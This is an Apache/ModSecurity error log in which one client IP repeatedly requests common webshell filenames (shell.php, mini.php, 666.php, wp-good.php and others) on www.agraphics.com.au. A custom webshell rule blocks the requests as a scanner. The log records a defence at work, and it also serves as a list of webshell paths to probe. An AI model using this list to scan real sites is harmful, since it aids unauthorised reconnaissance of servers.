[Wed Apr 15 19:31:43.498880 2026] [:error] [pid 37370:tid 37374] [client 51.12.94.16:10528] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad93H3g-gnM2Ga0cGAAQfQAAAQI"]
[Wed Apr 15 19:31:44.190818 2026] [:error] [pid 37370:tid 37396] [client 51.12.94.16:18870] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad93IHg-gnM2Ga0cGAAQgQAAARg"]
[Wed Apr 15 19:31:44.799567 2026] [:error] [pid 37370:tid 37375] [client 51.12.94.16:17629] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad93IHg-gnM2Ga0cGAAQhgAAAQM"]
[Wed Apr 15 19:31:45.569813 2026] [:error] [pid 30958:tid 31021] [client 51.12.94.16:19539] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad93IceG3wSKTO7NWFGQ9wAAAMU"]
[Wed Apr 15 19:31:46.163169 2026] [:error] [pid 30958:tid 31017] [client 51.12.94.16:15062] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad93IseG3wSKTO7NWFGQ-QAAAME"]
[Wed Apr 15 19:31:46.786748 2026] [:error] [pid 37370:tid 37375] [client 51.12.94.16:15802] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad93Ing-gnM2Ga0cGAAQlQAAAQM"]
[Wed Apr 15 19:31:47.468657 2026] [:error] [pid 37370:tid 37382] [client 51.12.94.16:19560] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad93I3g-gnM2Ga0cGAAQqwAAAQo"]
[Wed Apr 15 19:31:48.146793 2026] [:error] [pid 30958:tid 31033] [client 51.12.94.16:14797] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad93JMeG3wSKTO7NWFGQ_gAAANE"]
[Wed Apr 15 19:31:49.202834 2026] [:error] [pid 30956:tid 30970] [client 51.12.94.16:18763] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad93JUBGUpjaWntNYq1j6gAAAAo"]
[Wed Apr 15 19:31:50.136745 2026] [:error] [pid 30957:tid 31000] [client 51.12.94.16:12343] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad93Jn5gwVEVXHfVSipzygAAAEs"]
[Wed Apr 15 19:31:51.068086 2026] [:error] [pid 30958:tid 31038] [client 51.12.94.16:12325] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad93J8eG3wSKTO7NWFGRAQAAANY"]
[Wed Apr 15 19:31:52.026957 2026] [:error] [pid 37370:tid 37386] [client 51.12.94.16:8873] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad93KHg-gnM2Ga0cGAAQ-wAAAQ4"]
[Wed Apr 15 19:31:53.021056 2026] [:error] [pid 37370:tid 37393] [client 51.12.94.16:12495] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad93KXg-gnM2Ga0cGAAQ_gAAARU"]
[Wed Apr 15 19:31:53.806592 2026] [:error] [pid 31053:tid 31071] [client 51.12.94.16:19549] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad93KRcEkLCmvF0fjDex8wAAAI8"]
[Wed Apr 15 19:31:54.432813 2026] [:error] [pid 37370:tid 37387] [client 51.12.94.16:12347] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad93Kng-gnM2Ga0cGAARAgAAAQ8"]
[Wed Apr 15 19:31:55.024549 2026] [:error] [pid 31053:tid 31063] [client 51.12.94.16:12560] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad93KxcEkLCmvF0fjDex9QAAAIc"]
[Wed Apr 15 19:31:55.621514 2026] [:error] [pid 31053:tid 31074] [client 51.12.94.16:18996] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad93KxcEkLCmvF0fjDex-QAAAJI"]
[Wed Apr 15 19:31:56.306264 2026] [:error] [pid 31053:tid 31061] [client 51.12.94.16:6469] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad93LBcEkLCmvF0fjDex_QAAAIU"]
[Wed Apr 15 19:31:57.055919 2026] [:error] [pid 30958:tid 31032] [client 51.12.94.16:18818] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad93LceG3wSKTO7NWFGRAwAAANA"]
[Wed Apr 15 19:31:57.710851 2026] [:error] [pid 30957:tid 31012] [client 51.12.94.16:18866] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad93LX5gwVEVXHfVSipzzwAAAFc"]
[Wed Apr 15 19:31:58.366648 2026] [:error] [pid 37370:tid 37374] [client 51.12.94.16:19014] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad93Lng-gnM2Ga0cGAARDQAAAQI"]
[Wed Apr 15 19:31:59.169037 2026] [:error] [pid 37370:tid 37382] [client 51.12.94.16:9609] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad93L3g-gnM2Ga0cGAARDwAAAQo"]
[Wed Apr 15 19:31:59.998588 2026] [:error] [pid 31053:tid 31064] [client 51.12.94.16:18993] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "ad93LxcEkLCmvF0fjDeyAgAAAIg"]
[Wed Apr 15 19:32:00.595032 2026] [:error] [pid 31053:tid 31057] [client 51.12.94.16:18873] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "ad93MBcEkLCmvF0fjDeyBgAAAIE"]
[Wed Apr 15 19:32:01.285077 2026] [:error] [pid 30956:tid 30961] [client 51.12.94.16:15689] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "ad93MUBGUpjaWntNYq1j7wAAAAE"]
[Wed Apr 15 19:32:01.918874 2026] [:error] [pid 37370:tid 37375] [client 51.12.94.16:14700] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "ad93MXg-gnM2Ga0cGAARFAAAAQM"]
[Wed Apr 15 19:32:02.738095 2026] [:error] [pid 37370:tid 37388] [client 51.12.94.16:19042] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "ad93Mng-gnM2Ga0cGAARGwAAARA"]
[Wed Apr 15 19:32:03.371835 2026] [:error] [pid 37370:tid 37375] [client 51.12.94.16:1029] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "ad93M3g-gnM2Ga0cGAARIwAAAQM"]
[Wed Apr 15 19:32:04.685315 2026] [:error] [pid 37370:tid 37374] [client 51.12.94.16:15778] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "ad93NHg-gnM2Ga0cGAARLQAAAQI"]
[Wed Apr 15 19:32:05.381426 2026] [:error] [pid 31053:tid 31074] [client 51.12.94.16:19055] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "ad93NRcEkLCmvF0fjDeyDgAAAJI"]
[Wed Apr 15 19:32:06.098388 2026] [:error] [pid 37370:tid 37391] [client 51.12.94.16:11324] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "ad93Nng-gnM2Ga0cGAARNwAAARM"]
[Wed Apr 15 19:32:07.100276 2026] [:error] [pid 31053:tid 31062] [client 51.12.94.16:13771] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "ad93NxcEkLCmvF0fjDeyEwAAAIY"]
[Wed Apr 15 19:32:07.659201 2026] [:error] [pid 37370:tid 37384] [client 51.12.94.16:10246] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "ad93N3g-gnM2Ga0cGAAROwAAAQw"]
[Wed Apr 15 19:32:08.303912 2026] [:error] [pid 37370:tid 37390] [client 51.12.94.16:8351] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "ad93OHg-gnM2Ga0cGAARPgAAARI"]
[Wed Apr 15 19:32:09.086568 2026] [:error] [pid 37370:tid 37375] [client 51.12.94.16:8335] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "ad93OXg-gnM2Ga0cGAARRQAAAQM"]
[Wed Apr 15 19:32:09.685019 2026] [:error] [pid 30957:tid 30989] [client 51.12.94.16:13477] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "ad93OX5gwVEVXHfVSipz2AAAAEA"]
[Wed Apr 15 19:32:10.449564 2026] [:error] [pid 37370:tid 37390] [client 51.12.94.16:12504] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "ad93Ong-gnM2Ga0cGAARUAAAARI"]
[Wed Apr 15 19:32:11.157526 2026] [:error] [pid 37370:tid 37374] [client 51.12.94.16:12507] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "ad93O3g-gnM2Ga0cGAARUwAAAQI"]
[Wed Apr 15 19:32:11.786330 2026] [:error] [pid 37370:tid 37396] [client 51.12.94.16:18042] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "ad93O3g-gnM2Ga0cGAARVwAAARg"]
[Wed Apr 15 19:32:13.103454 2026] [:error] [pid 31053:tid 31076] [client 51.12.94.16:16752] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "ad93PRcEkLCmvF0fjDeyIwAAAJQ"]
[Wed Apr 15 19:32:13.931279 2026] [:error] [pid 37370:tid 37386] [client 51.12.94.16:13927] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "ad93PXg-gnM2Ga0cGAARXAAAAQ4"]
[Wed Apr 15 19:32:14.682160 2026] [:error] [pid 31053:tid 31079] [client 51.12.94.16:19021] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "ad93PhcEkLCmvF0fjDeyJwAAAJc"]
[Wed Apr 15 19:32:15.456268 2026] [:error] [pid 30956:tid 30983] [client 51.12.94.16:1065] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bmi.php"] [unique_id "ad93P0BGUpjaWntNYq1j-wAAABc"]
[Wed Apr 15 19:32:16.193745 2026] [:error] [pid 30956:tid 30966] [client 51.12.94.16:8383] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bmi.php"] [unique_id "ad93QEBGUpjaWntNYq1j_AAAAAY"]
[Wed Apr 15 19:32:16.942704 2026] [:error] [pid 37370:tid 37394] [client 51.12.94.16:12534] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bmi.php"] [unique_id "ad93QHg-gnM2Ga0cGAARYQAAARY"]
[Wed Apr 15 19:32:17.586175 2026] [:error] [pid 37370:tid 37374] [client 51.12.94.16:18916] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bmi.php"] [unique_id "ad93QXg-gnM2Ga0cGAARZgAAAQI"]
[Wed Apr 15 19:32:18.347303 2026] [:error] [pid 37370:tid 37387] [client 51.12.94.16:10262] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ad93Qng-gnM2Ga0cGAARaQAAAQ8"]
[Wed Apr 15 19:32:19.209408 2026] [:error] [pid 30956:tid 30984] [client 51.12.94.16:1423] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ad93Q0BGUpjaWntNYq1j_wAAABg"]
[Wed Apr 15 19:32:20.082700 2026] [:error] [pid 37370:tid 37381] [client 51.12.94.16:1333] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ad93RHg-gnM2Ga0cGAARcwAAAQk"]
[Wed Apr 15 19:32:21.084925 2026] [:error] [pid 30956:tid 30970] [client 51.12.94.16:12404] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ad93RUBGUpjaWntNYq1kBAAAAAo"]
[Wed Apr 15 19:32:21.752086 2026] [:error] [pid 30956:tid 30976] [client 51.12.94.16:17633] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shell.php"] [unique_id "ad93RUBGUpjaWntNYq1kBgAAABA"]
[Wed Apr 15 19:32:22.838069 2026] [:error] [pid 30958:tid 31028] [client 51.12.94.16:13761] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shell.php"] [unique_id "ad93RseG3wSKTO7NWFGREgAAAMw"]
[Wed Apr 15 19:32:24.210049 2026] [:error] [pid 31053:tid 31074] [client 51.12.94.16:17804] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shell.php"] [unique_id "ad93SBcEkLCmvF0fjDeyMwAAAJI"]
[Wed Apr 15 19:32:25.420884 2026] [proxy_fcgi:error] [pid 30957:tid 31012] [client 51.12.94.16:16463] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:32:25.715471 2026] [proxy_fcgi:error] [pid 30957:tid 30999] [client 51.12.94.16:16463] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:32:26.017143 2026] [proxy_fcgi:error] [pid 30957:tid 30992] [client 51.12.94.16:16463] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:32:26.310648 2026] [proxy_fcgi:error] [pid 30957:tid 31002] [client 51.12.94.16:16463] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:32:26.611459 2026] [proxy_fcgi:error] [pid 30957:tid 31011] [client 51.12.94.16:16463] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:32:26.902353 2026] [proxy_fcgi:error] [pid 30957:tid 31004] [client 51.12.94.16:16463] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:32:27.194832 2026] [proxy_fcgi:error] [pid 30957:tid 31009] [client 51.12.94.16:16463] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:32:27.493734 2026] [proxy_fcgi:error] [pid 30957:tid 31013] [client 51.12.94.16:16463] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:32:27.786696 2026] [proxy_fcgi:error] [pid 30957:tid 31006] [client 51.12.94.16:16463] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:32:28.080660 2026] [proxy_fcgi:error] [pid 30957:tid 30990] [client 51.12.94.16:16463] AH01071: Got error 'Primary script unknown'
